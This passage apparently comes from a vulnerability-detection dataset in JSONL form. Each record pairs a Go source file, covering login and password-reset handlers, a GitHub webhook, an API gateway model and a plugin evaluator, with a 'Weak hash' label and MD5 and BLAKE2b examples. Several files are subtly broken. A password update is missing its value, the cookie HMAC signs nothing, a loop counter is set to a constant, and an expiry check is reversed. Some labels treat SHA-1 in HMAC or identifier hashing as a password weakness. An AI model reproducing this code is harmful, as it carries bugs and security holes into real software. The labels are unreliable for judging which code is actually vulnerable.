model.CookieRemember\n\n\tremember.MemberId = member.MemberId\n\tremember.Account = member.Account\n\tremember.Time = time.Now()\n\tvar v string\n\tv, err = utils.Encode(remember)\n\tif err != nil {\n\t\treturn\n\t}\n\tSetSecureCookie(c.Context, conf.Conf.App.AppKey, \"login\", v, 24*3600*365)\n\treturn\n}\n\nfunc FindPasswordApi(c *core.Context) {\n\temail := c.PostForm(\"email\")\n\tif email == \"\" {\n\t\tc.JSONErrStr(6005, \"邮箱地址不能为空\")\n\t\treturn\n\t}\n\tif !viper.GetBool(\"email.isEnable\") {\n\t\tc.JSONErrStr(6004, \"未启用邮件服务\")\n\t\treturn\n\t}\n\tcaptchaId := c.PostForm(\"captchaId\")\n\tcaptchaValue := c.PostForm(\"captcha\")\n\n\t// 如果开启了验证码\n\tif dao.Global.IsEnabledCaptcha() && !captcha.VerifyString(captchaId, captchaValue) {\n\t\tc.JSONErrStr(6001, \"验证码不正确\")\n\t\treturn\n\t}\n\n\tmember, err := dao.Member.FindByFieldFirst(\"email\", email)\n\tif err != nil {\n\t\tc.JSONErrTips(\"邮箱不存在\", err)\n\t\treturn\n\t}\n\tif member.Status != 0 {\n\t\tc.JSONErrStr(6007, \"账号已被禁用\")\n\t\treturn\n\t}\n\tif member.AuthMethod == conf.AuthMethodLDAP {\n\t\tc.JSONErrStr(6011, \"当前用户不支持找回密码\")\n\t\treturn\n\t}\n\n\tcount, err := dao.MemberToken.FindSendCount(email, time.Now().Add(-1*time.Hour), time.Now())\n\n\tif err != nil {\n\t\tc.JSONErrStr(6008, \"发送邮件失败\")\n\t\treturn\n\t}\n\tif count > viper.GetInt(\"email.mailMaxNum\") {\n\t\tc.JSONErrStr(6008, \"发送次数太多,请稍候再试\")\n\t\treturn\n\t}\n\n\tmemberToken := mysql.MemberToken{\n\t\tMemberId: member.MemberId,\n\t\tToken: string(utils.Krand(32, utils.KC_RAND_KIND_ALL)),\n\t\tEmail: email,\n\t\tIsValid: false,\n\t\tSendTime: time.Now(),\n\t}\n\n\tif err := dao.MemberToken.InsertOrUpdate(mus.Db, &memberToken); err != nil {\n\t\tc.JSONErrTips(\"邮件发送失败\", err)\n\t\treturn\n\t}\n\n\tdata := map[string]interface{}{\n\t\t\"SITE_NAME\": dao.Global.GetSiteName(),\n\t\t\"url\": c.BaseUrl() + \"/account/find_password?token=\" + memberToken.Token + \"&mail=\" + email,\n\t}\n\n\tbody, err := c.ExecuteViewPathTemplate(\"account/mail_template.html\", data)\n\tif err != nil {\n\t\tc.JSONErrStr(6003, \"邮件发送失败\")\n\t\treturn\n\t}\n\n\terr = service.Mailer.Send(\"找回密码\", email, body, \"\")\n\tif err != nil {\n\t\tc.JSONErrStr(6003, \"邮件发送失败\")\n\t\treturn\n\t}\n\tc.JSONOK(\"/login\")\n}\n\n//校验邮件并修改密码.\nfunc ValidEmail(c *core.Context) {\n\tpassword1 := c.PostForm(\"password1\")\n\tpassword2 := c.PostForm(\"password2\")\n\ttoken := c.PostForm(\"token\")\n\tmail := c.PostForm(\"mail\")\n\n\tif password1 == \"\" {\n\t\tc.JSONErrStr(6001, \"密码不能为空\")\n\t\treturn\n\t}\n\tif l := strings.Count(password1, \"\"); l < 6 || l > 50 {\n\t\tc.JSONErrStr(6001, \"密码不能为空且必须在6-50个字符之间\")\n\t\treturn\n\t}\n\tif password2 == \"\" {\n\t\tc.JSONErrStr(6002, \"确认密码不能为空\")\n\t\treturn\n\t}\n\tif password1 != password2 {\n\t\tc.JSONErrStr(6003, \"确认密码输入不正确\")\n\t\treturn\n\t}\n\n\tcaptchaId := c.PostForm(\"captchaId\")\n\tcaptchaValue := c.PostForm(\"captcha\")\n\n\t// 如果开启了验证码\n\tif dao.Global.IsEnabledCaptcha() && !captcha.VerifyString(captchaId, captchaValue) {\n\t\tc.JSONErrStr(6001, \"验证码不正确\")\n\t\treturn\n\t}\n\n\tmemberToken, err := dao.MemberToken.FindByFieldFirst(\"token\", token)\n\n\tif err != nil {\n\t\tc.JSONErrStr(6007, \"邮件已失效\")\n\t\treturn\n\t}\n\tsubTime := memberToken.SendTime.Sub(time.Now())\n\n\tif !strings.EqualFold(memberToken.Email, mail) || subTime.Minutes() > float64(viper.GetInt(\"email.mailExpired\")) || !memberToken.ValidTime.IsZero() {\n\t\tc.JSONErrStr(6008, \"验证码已过期,请重新操作。\")\n\t\treturn\n\t}\n\tmember, err := dao.Member.Find(memberToken.MemberId)\n\tif err != nil {\n\t\tc.JSONErrStr(6005, \"用户不存在\")\n\t\treturn\n\t}\n\thash, err := utils.PasswordHash(password1)\n\n\tif err != nil {\n\t\tc.JSONErrStr(6006, \"保存密码失败\")\n\t\treturn\n\t}\n\n\tmusdb := mus.Db.Begin()\n\terr = dao.Member.UpdateX(c.Context, musdb, mysql.Conds{\n\t\t\"member_id\": member.MemberId,\n\t}, mysql.Ups{\n\t\t\"password\": ,\n\t})\n\n\tif err != nil {\n\t\tmusdb.Rollback()\n\t\tc.JSONErrStr(6006, \"保存密码失败\")\n\t\treturn\n\t}\n\n\tmemberToken.ValidTime = time.Now()\n\tmemberToken.IsValid = true\n\terr = dao.MemberToken.InsertOrUpdate(musdb, memberToken)\n\tif err != nil {\n\t\tc.JSONErrStr(6006, \"保存密码失败\")\n\t\treturn\n\t}\n\tc.JSONOK(\"/login\")\n}\n\n// Logout 退出登录.\nfunc Logout(c *core.Context) {\n\terr := c.Logout()\n\tif err != nil {\n\t\tc.JSONErr(code.MsgErr, err)\n\t\treturn\n\t}\n\tSetSecureCookie(c.Context, conf.Conf.App.AppKey, \"login\", \"\", -3600)\n\tc.Redirect(302, \"/login\")\n}\n\n//记录笔记\nfunc Note(c *core.Context) {\n\tdocid := c.GetInt(\"doc_id\")\n\tfmt.Println(docid)\n\tif strings.ToLower(c.Context.Request.Method) == \"post\" {\n\n\t} else {\n\t\tc.Tpl().Data[\"SeoTitle\"] = \"笔记\"\n\t\tc.Html(\"account/note\")\n\t}\n}\n\n// SetSecureCookie Set Secure cookie for response.\nfunc SetSecureCookie(c *gin.Context, Secret, name, value string, others ...interface{}) {\n\tvs := base64.URLEncoding.EncodeToString([]byte(value))\n\ttimestamp := strconv.FormatInt(time.Now().UnixNano(), 10)\n\th := hmac.New(sha1.New, []byte(Secret))\n\t//fmt.Fprintf(h, \"%s%s\", vs, timestamp)\n\tsig := fmt.Sprintf(\"%02x\", h.Sum(nil))\n\tcookie := strings.Join([]string{vs, timestamp, sig}, \"|\")\n\t//context.SetCookie(\"name\", \"\", 10, \"/\", \"localhost\", false, true)\n\n\tc.SetCookie(name, cookie, 10, \"/\", \"\", false, true)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "1e1ff9abf8154f90c3c67f7afdbacd8c3a06278c3ae129227ded2d930c50b2d5", "license": {"spdx": ["MIT"], "repo": "longkai/xiaolongtongxue.com", "path": "github/hook.go", "repo_head_hexsha": "662f64b58ea63fbbaf765bb4ea1c244c48eb2d8f", "stack_hexsha": "641937c5a1978d5acf1125903b9feafa4509ea82", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package github\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/longkai/xiaolongtongxue.com/git\"\n)\n\n// Callback after pull and diff success.\ntype Callback func(adds, mods, dels []string)\n\nvar (\n\trepo string\n\ttoken string\n\tsecret string\n\tcallback Callback\n)\n\n// Init Github service\nfunc Init(hookURL string, _repo string, _secret string, _token string, cb Callback) {\n\trepo, secret, token, callback = _repo, _secret, _token, cb\n\thttp.HandleFunc(hookURL, hook)\n}\n\n// Hook github webhook service.\nfunc hook(w http.ResponseWriter, r *http.Request) {\n\tevent := r.Header.Get(\"X-GitHub-Event\")\n\tsignature := r.Header.Get(\"X-Hub-Signature\")\n\tdelivery := r.Header.Get(\"X-GitHub-Delivery\")\n\t// handle security\n\tdefer r.Body.Close()\n\tif err := handleSecurity(r.Body, signature); err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tlog.Printf(\"receive github webhook, event: %q, delivery: %q, signature: %q\", event, delivery, signature)\n\n\tif event == \"push\" {\n\t\tgo handleHook()\n\t}\n\t// send pong message back to Github\n\tfmt.Fprint(w, \"thx :)\")\n}\n\nvar handleHook = func() {\n\t// 1. get current HEAD hash\n\tv, err := git.Rev(repo)\n\tif err != nil {\n\t\tlog.Printf(\"git.Rev(%q) fail: %v\", repo, err)\n\t\treturn\n\t}\n\t// 2. pull the latest content\n\tif err = git.Pull(repo); err != nil {\n\t\tlog.Printf(\"`git pull` fail: %v\", err)\n\t\treturn\n\t}\n\t// 3. diff changes\n\ta, m, d, err := git.Diff(repo, v)\n\tif err != nil {\n\t\tlog.Printf(\"`git diff` fail: %v\", err)\n\t\treturn\n\t}\n\t// 4. let sb. known what changed\n\tcallback(a, m, d)\n}\n\nvar handleSecurity = func(reader io.Reader, signature string) error {\n\tb, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !checkMAC(b, signature) {\n\t\treturn fmt.Errorf(\"signature checking fail\")\n\t}\n\treturn nil\n}\n\nvar checkMAC = func(message []byte, messageMAC string) bool {\n\tmac := hmac.New(sha1.New, []byte(secret))\n\tmac.Write(message)\n\texpectedMAC := mac.Sum(nil)\n\treturn \"sha1=\"+hex.EncodeToString(expectedMAC) == messageMAC\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "860ed706ac00cd88b18f100afe70f9edccfa9dfea4654a926def3b35ee461bdb", "license": {"spdx": ["Apache-2.0"], "repo": "fazlan-nazeem/product-microgateway", "path": "adapter/internal/oasparser/model/api_yaml.go", "repo_head_hexsha": "cfa3e38e9be1cb504eac667222111f733cec2167", "stack_hexsha": "bb42e4c063d99ad9f3aae744ede5f8e2f42ab032", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 21, "entireCode": "/*\n * Copyright (c) 2021, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage model\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/wso2/product-microgateway/adapter/internal/loggers\"\n)\n\nconst (\n\tbasicAuthSecurity string = \"BASIC\"\n)\n\n// VerifyMandatoryFields check and pupulates the mandatory fields if null\nfunc VerifyMandatoryFields(apiYaml APIYaml) error {\n\tvar errMsg string = \"\"\n\tvar apiName string = apiYaml.Data.Name\n\tvar apiVersion string = apiYaml.Data.Version\n\n\tif apiName == \"\" {\n\t\tapiName = \"unknownAPIName\"\n\t\terrMsg = \"API Name \"\n\t}\n\n\tif apiVersion == \"\" {\n\t\tapiVersion = \"unknownAPIVersion\"\n\t\terrMsg = errMsg + \"API Version \"\n\t}\n\n\tif apiYaml.Data.Context == \"\" {\n\t\terrMsg = errMsg + \"API Context \"\n\t}\n\n\tif len(apiYaml.Data.EndpointConfig.ProductionEndpoints) < 1 &&\n\t\tlen(apiYaml.Data.EndpointConfig.SandBoxEndpoints) < 1 {\n\t\terrMsg = errMsg + \"API production and sandbox endpoints \"\n\t}\n\n\tif errMsg != \"\" {\n\t\terrMsg = errMsg + \"fields cannot be empty for \" + apiName + \" \" + apiVersion\n\t\treturn errors.New(errMsg)\n\t}\n\n\tfor _, ep := range apiYaml.Data.EndpointConfig.ProductionEndpoints {\n\t\tif strings.HasPrefix(ep.Endpoint, \"/\") || len(strings.TrimSpace(ep.Endpoint)) < 1 {\n\t\t\treturn errors.New(\"relative urls or empty values are not supported for API production endpoints\")\n\t\t}\n\t}\n\tfor _, ep := range apiYaml.Data.EndpointConfig.SandBoxEndpoints {\n\t\tif strings.HasPrefix(ep.Endpoint, \"/\") || len(strings.TrimSpace(ep.Endpoint)) < 1 {\n\t\t\treturn errors.New(\"relative urls or empty values are not supported for API sandbox endpoints\")\n\t\t}\n\t}\n\treturn nil\n}\n\n// ExtractAPIInformation reads the values in api.yaml/api.json and populates ProjectAPI struct\nfunc ExtractAPIInformation(apiProject *ProjectAPI, apiYaml APIYaml) {\n\tapiProject.APIType = strings.ToUpper(apiYaml.Data.APIType)\n\tapiProject.APILifeCycleStatus = strings.ToUpper(apiYaml.Data.LifeCycleStatus)\n\n\tvar apiHashValue string = generateHashValue(apiYaml.Data.Name, apiYaml.Data.Version)\n\n\tendpointConfig := apiYaml.Data.EndpointConfig\n\tproductionEndpoints, sandboxEndpoints := retrieveEndpointsFromEnv(apiHashValue)\n\tif len(productionEndpoints) > 0 && len(sandboxEndpoints) > 0 {\n\t\tapiProject.ProductionEndpoints = productionEndpoints\n\t\tapiProject.SandboxEndpoints = sandboxEndpoints\n\t}\n\n\t// production Endpoint security\n\tprodEpSecurity, _ := retrieveEndPointSecurityInfo(\"api_\"+apiHashValue,\n\t\tendpointConfig.EndpointSecurity.Production, \"prod\")\n\n\t// sandbox Endpoint security\n\tsandBoxEpSecurity, _ := retrieveEndPointSecurityInfo(\"api_\"+apiHashValue,\n\t\tendpointConfig.EndpointSecurity.Sandbox, \"sand\")\n\n\tepSecurity := APIEndpointSecurity{\n\t\tSandbox: sandBoxEpSecurity,\n\t\tProduction: prodEpSecurity,\n\t}\n\n\t// organization ID would remain empty string if unassigned\n\tapiProject.OrganizationID = apiYaml.Data.OrganizationID\n\n\tapiProject.EndpointSecurity = epSecurity\n}\n\nfunc retrieveEndpointsFromEnv(apiHashValue string) ([]Endpoint, []Endpoint) {\n\tvar productionEndpoints []Endpoint\n\tvar sandboxEndpoints []Endpoint\n\n\ti := 0\n\tfor {\n\t\tvar productionEndpointURL string = resolveEnvValueForEndpointConfig(\"api_\"+apiHashValue+\"_prod_endpoint_\"+strconv.Itoa(i), \"\")\n\t\tif productionEndpointURL == \"\" {\n\t\t\tbreak\n\t\t}\n\t\tproductionEndpoint, err := getHostandBasepathandPort(productionEndpointURL)\n\t\tif err != nil {\n\t\t\tloggers.LoggerAPI.Errorf(\"error while reading production endpoint : %v in env variables, %v\", productionEndpointURL, err.Error())\n\t\t}\n\t\tproductionEndpoints = append(productionEndpoints, *productionEndpoint)\n\n\t\t// sandbox Endpoints set\n\t\tvar sandboxEndpointURL string = resolveEnvValueForEndpointConfig(\"api_\"+apiHashValue+\"_sand_endpoint_\"+strconv.Itoa(i), \"\")\n\t\tif sandboxEndpointURL == \"\" {\n\t\t\tbreak\n\t\t}\n\t\tsandboxEndpoint, err := getHostandBasepathandPort(sandboxEndpointURL)\n\t\tif err != nil {\n\t\t\tloggers.LoggerAPI.Errorf(\"error while reading production endpoint : %v in env variables, %v\", sandboxEndpointURL, err.Error())\n\t\t}\n\t\tsandboxEndpoints = append(sandboxEndpoints, *sandboxEndpoint)\n\t\ti = 1 + 1\n\t}\n\treturn productionEndpoints, sandboxEndpoints\n}\n\nfunc retrieveEndPointSecurityInfo(value string, endPointSecurity EndpointSecurity,\n\tkeyType string) (epSecurityInfo EndpointSecurity, err error) {\n\tvar username string\n\tvar password string\n\tvar securityType = endPointSecurity.Type\n\n\tif securityType != \"\" {\n\t\tif securityType == basicAuthSecurity {\n\t\t\tusername = resolveEnvValueForEndpointConfig(value+\"_\"+keyType+\"_basic_username\", endPointSecurity.Username)\n\t\t\tpassword = resolveEnvValueForEndpointConfig(value+\"_\"+keyType+\"_basic_password\", endPointSecurity.Password)\n\n\t\t\tepSecurityInfo.Username = username\n\t\t\tepSecurityInfo.Password = password\n\t\t\tepSecurityInfo.Type = securityType\n\t\t\tepSecurityInfo.Enabled = endPointSecurity.Enabled\n\t\t\treturn epSecurityInfo, nil\n\t\t}\n\t\terrMsg := securityType + \" endpoint security type is not currently supported with\" +\n\t\t\t\"WSO2 Choreo Connect\"\n\t\terr = errors.New(errMsg)\n\t\tloggers.LoggerAPI.Error(errMsg)\n\t}\n\treturn epSecurityInfo, err\n}\n\nfunc resolveEnvValueForEndpointConfig(envKey string, defaultVal string) string {\n\tenvValue, exists := os.LookupEnv(envKey)\n\tif exists {\n\t\tloggers.LoggerAPI.Debugf(\"resolve env value %v\", envValue)\n\t\treturn envValue\n\t}\n\treturn defaultVal\n}\n\nfunc generateHashValue(apiName string, apiVersion string) string {\n\tendpointConfigSHValue := sha1.New()\n\tendpointConfigSHValue.Write([]byte(apiName + \":\" + apiVersion))\n\treturn hex.EncodeToString(endpointConfigSHValue.Sum(nil)[:])\n}\n\n// PopulateEndpointsInfo this will map sandbox and prod endpoint\n// This is done to fix the issue https://github.com/wso2/product-microgateway/issues/2288\nfunc PopulateEndpointsInfo(apiYaml APIYaml) APIYaml {\n\trawProdEndpoints := apiYaml.Data.EndpointConfig.RawProdEndpoints\n\tif rawProdEndpoints != nil {\n\t\tif val, ok := rawProdEndpoints.(map[string]interface{}); ok {\n\t\t\tjsonString, _ := json.Marshal(val)\n\t\t\ts := EndpointInfo{}\n\t\t\tjson.Unmarshal(jsonString, &s)\n\t\t\tapiYaml.Data.EndpointConfig.ProductionEndpoints = []EndpointInfo{s}\n\t\t} else if val, ok := rawProdEndpoints.([]interface{}); ok {\n\t\t\tjsonString, _ := json.Marshal(val)\n\t\t\ts := []EndpointInfo{}\n\t\t\tjson.Unmarshal(jsonString, &s)\n\t\t\tapiYaml.Data.EndpointConfig.ProductionEndpoints = s\n\t\t} else {\n\t\t\tloggers.LoggerAPI.Warn(\"No production endpoints provided\")\n\t\t}\n\t}\n\trawSandEndpoints := apiYaml.Data.EndpointConfig.RawSandboxEndpoints\n\tif rawSandEndpoints != nil {\n\t\tif val, ok := rawSandEndpoints.(map[string]interface{}); ok {\n\t\t\tjsonString, _ := json.Marshal(val)\n\t\t\ts := EndpointInfo{}\n\t\t\tjson.Unmarshal(jsonString, &s)\n\t\t\tapiYaml.Data.EndpointConfig.SandBoxEndpoints = []EndpointInfo{s}\n\n\t\t} else if val, ok := rawSandEndpoints.([]interface{}); ok {\n\t\t\tjsonString, _ := json.Marshal(val)\n\t\t\ts := []EndpointInfo{}\n\t\t\tjson.Unmarshal(jsonString, &s)\n\t\t\tapiYaml.Data.EndpointConfig.SandBoxEndpoints = s\n\t\t} else {\n\t\t\tloggers.LoggerAPI.Warn(\"No sandbox endpoints provided\")\n\t\t}\n\t}\n\treturn apiYaml\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "5da8301f1f9bbc19bb3542c015c1d477e4eabaa0bb05b2ee77f78aa1aa07de74", "license": {"spdx": ["MIT"], "repo": "adayNU/go-eek", "path": "eek.go", "repo_head_hexsha": "d220ae5af16f038b75d173a2d41e24b0591a6d00", "stack_hexsha": "f8883e6f9a84e4072534187fc35be5144c16cdbd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package eek\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"go/build\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"plugin\"\n\t\"reflect\"\n\t\"regexp\"\n\t\"runtime\"\n\t\"strings\"\n)\n\ntype eekType int\n\nconst (\n\teekTypeSimple eekType = iota\n\teekTypeComplex\n)\n\nvar (\n\tregexFileName = regexp.MustCompile(\"[^A-Za-z0-9]+\")\n)\n\n// Eek is main type used on the evaluation\ntype Eek struct {\n\tname string\n\tgoBinaryPath string\n\tfunctions []Func\n\tvariables []Var\n\tpackages []string\n\tevaluationType eekType\n\tevaluationFormula string\n\tbaseBuildPath string\n\tbuildPath string\n\tbuildFilePath string\n\n\tUseCachedBuildForSameFormula bool\n}\n\n// Func is reflect to a single typed reusable function\ntype Func struct {\n\tName string\n\tBodyFunction string\n}\n\n// Var is reflect to a single typed variable with/without a default value\ntype Var struct {\n\tName string\n\tType string\n\tDefaultValue interface{}\n}\n\n// ExecVar is used on defining value in the evaluation\ntype ExecVar map[string]interface{}\n\n// New used to create eek object. This function accept an optional variable that will be used as the evaluation name\nfunc New(args ...string) *Eek {\n\teek := new(Eek)\n\n\tif len(args) > 0 {\n\t\teek.SetName(args[0])\n\t}\n\n\teek.functions = make([]Func, 0)\n\teek.variables = make([]Var, 0)\n\teek.packages = make([]string, 0)\n\teek.evaluationType = eekTypeSimple\n\n\teek.UseCachedBuildForSameFormula = true\n\n\teek.setDefaultGoBinaryPath()\n\teek.setDefaultBaseBuildPath()\n\n\treturn eek\n}\n\nfunc (e *Eek) setDefaultGoBinaryPath() {\n\tif root := build.Default.GOROOT; root != \"\" {\n\t\te.goBinaryPath = filepath.Join(root, \"bin\", \"go\")\n\t\treturn\n\t}\n\n\tif root := os.Getenv(\"GOROOT\"); root != \"\" {\n\t\te.goBinaryPath = filepath.Join(root, \"bin\", \"go\")\n\t\treturn\n\t}\n\n\te.goBinaryPath = \"go\"\n}\n\nfunc (e *Eek) setDefaultBaseBuildPath() {\n\tbasePath := \"\"\n\ttmpFolderName := \"go-eek-plugins\"\n\n\tswitch runtime.GOOS {\n\tcase \"darwin\", \"freebsd\", \"linux\":\n\n\t\tbasePath = os.Getenv(\"TMPDIR\")\n\t\tif basePath == \"\" {\n\n\t\t\ttempFolder := \"/tmp\"\n\t\t\tif tempBasePath := filepath.Join(tempFolder, tmpFolderName); e.isPathExists(tempBasePath) {\n\t\t\t\tbasePath = tempFolder\n\t\t\t} else if err := os.MkdirAll(tempBasePath, os.ModePerm); err == nil {\n\t\t\t\tbasePath = tempFolder\n\t\t\t}\n\t\t}\n\tcase \"windows\":\n\t\tbasePath = os.Getenv(\"TEMP\")\n\tdefault:\n\t}\n\n\tif basePath == \"\" {\n\t\tbasePath = \"./\"\n\t}\n\n\tdefaultBaseBuildPath := filepath.Join(basePath, tmpFolderName)\n\te.SetBaseBuildPath(defaultBaseBuildPath)\n}\n\n// SetName set the evaluation name\nfunc (e *Eek) SetName(name string) {\n\te.name = name\n}\n\n// SetBaseBuildPath set the base build path. Every so file generated from build will be stored into //.so\nfunc (e *Eek) SetBaseBuildPath(baseBuildPath string) {\n\te.baseBuildPath = baseBuildPath\n}\n\n// ImportPackage specify which packages will be imported\nfunc (e *Eek) ImportPackage(dependencies ...string) {\n\te.packages = append(e.packages, dependencies...)\n}\n\n// DefineVariable used to define variables that will be used in the evaluation formula\nfunc (e *Eek) DefineVariable(variable Var) {\n\te.variables = append(e.variables, variable)\n}\n\n// DefineFunction used to define reusable functions that will be used in the evaluation formula\nfunc (e *Eek) DefineFunction(fun Func) {\n\te.functions = append(e.functions, fun)\n}\n\n// PrepareEvaluation prepare the layout of evaluation string\nfunc (e *Eek) PrepareEvaluation(evaluationFormula string) {\n\te.evaluationType = eekTypeSimple\n\te.evaluationFormula = strings.TrimSpace(evaluationFormula)\n}\n\n// Build build the evaluation\nfunc (e *Eek) Build() error {\n\tif e.name == \"\" {\n\t\treturn fmt.Errorf(\"name is mandatory\")\n\t} else if e.evaluationType != eekTypeSimple && e.evaluationType != eekTypeComplex {\n\t\treturn fmt.Errorf(\"evaluationType is invalid\")\n\t} else if e.evaluationFormula == \"\" {\n\t\treturn fmt.Errorf(\"evaluation formula cannot be empty\")\n\t}\n\n\tvar code string\n\tvar err error\n\n\tswitch e.evaluationType {\n\tcase eekTypeSimple:\n\t\tcode, err = e.buildSimpleEvaluation()\n\tcase eekTypeComplex:\n\t\tcode, err = e.buildComplexEvaluation()\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// write code into temporary file, then build the code as go plugin file\n\tif err := e.writeToFileThenBuild(code); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (e *Eek) buildSimpleEvaluation() (string, error) {\n\t// code base code\n\tcode := strings.TrimSpace(`\n\t\tpackage main\n\n\t\t$packages\n\n\t\t$functions\n\n\t\t$variables\n\n\t\tfunc Evaluate() interface{} {\n\t\t\t$evaluationFormula\n\t\t}\n\t`)\n\n\t// inject packages\n\tpackageLayout := \"\"\n\tfor _, each := range e.packages {\n\t\tif each == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tpackageLayout = fmt.Sprintf(\"%s\\n\\\"%s\\\"\", packageLayout, each)\n\t}\n\tpackageLayout = fmt.Sprintf(strings.TrimSpace(`import (%s)`), strings.TrimSpace(packageLayout))\n\tcode = strings.Replace(code, \"$packages\", packageLayout, 1)\n\n\t// inject functions\n\tfunctionLayout := \"\"\n\tfor _, each := range e.functions {\n\t\tbodyFunc := strings.TrimSpace(each.BodyFunction)\n\t\tif each.Name == \"\" || bodyFunc == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tfunctionLayout = fmt.Sprintf(\"%s\\nvar %s = %s\", functionLayout, each.Name, bodyFunc)\n\t}\n\tcode = strings.Replace(code, \"$functions\", strings.TrimSpace(functionLayout), 1)\n\n\t// inject variables\n\tvariableLayout := \"\"\n\tfor _, each := range e.variables {\n\t\tif each.Name == \"\" || each.Type == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\tif prefix := 